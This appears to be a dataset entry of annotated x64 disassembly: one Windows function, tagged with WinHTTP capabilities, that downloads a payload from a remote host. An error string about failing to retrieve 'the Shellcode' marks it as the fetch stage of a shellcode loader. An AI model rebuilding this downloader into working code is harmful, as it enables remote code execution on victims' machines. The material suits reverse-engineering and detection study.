Function at 0x140001210
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov r14, r9
mov rbx, rdx
mov qword [rbp - 0x30], rcx
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov esi, eax
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x28], eax
mov dword [rbp - 0x24], eax
mov r15d, eax
mov r12d, eax
mov edi, eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r13, rax
test rax, rax
je 0x1400013c5
mov r8d, 0x50
xor r9d, r9d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x1400013d9
xor ebx, ebx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r14
lea rdx, [0x140003500]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
test rax, rax
je 0x1400013ed
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov r15d, eax
test eax, eax
je 0x140001401
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov r15d, eax
test eax, eax
je 0x140001415
nop dword [rax]
nop dword [rax + rax]
mov dword [rbp - 0x28], ebx
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x140001348
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable___u__n
call fcn.140001010
mov ecx, dword [rbp - 0x28]
inc ecx
call fcn.140001c64
mov rbx, rax
mov r8d, dword [rbp - 0x28]
inc r8d
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x24]
mov r8d, dword [rbp - 0x28]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x140001394
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.140001010
jmp 0x1400013a8
mov r9d, dword [rbp - 0x24]
mov r8, rbx
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x20]
call fcn.140001990
mov rcx, rbx
call fcn.140001c20
cmp dword [rbp - 0x28], 0
mov ebx, 0
ja 0x140001320
mov rsi, qword [rbp - 0x10]
jmp 0x140001415
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpConnect___u__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpOpenRequest___u__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpSendRequest___u__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpReceiveResponse___u__n
call fcn.140001010
mov rbx, qword [rbp - 0x20]
mov r14, qword [rbp - 0x18]
cmp rbx, r14
jne 0x14000142e
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.140001010
test r15d, r15d
jne 0x140001447
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.140001010
test rdi, rdi
je 0x140001455
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r12, r12
je 0x140001463
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r13, r13
je 0x140001471
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub r14, rbx
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14000149d
mov r8, r14
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], r14
jmp 0x1400014a5
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
movups xmm0, xmmword [rbp - 0x20]
mov rdi, qword [rbp - 0x30]
movups xmmword [rdi], xmm0
test rbx, rbx
je 0x1400014eb
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x1400014e0
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rbx
call fcn.140001c20
mov rax, rdi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0xb0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret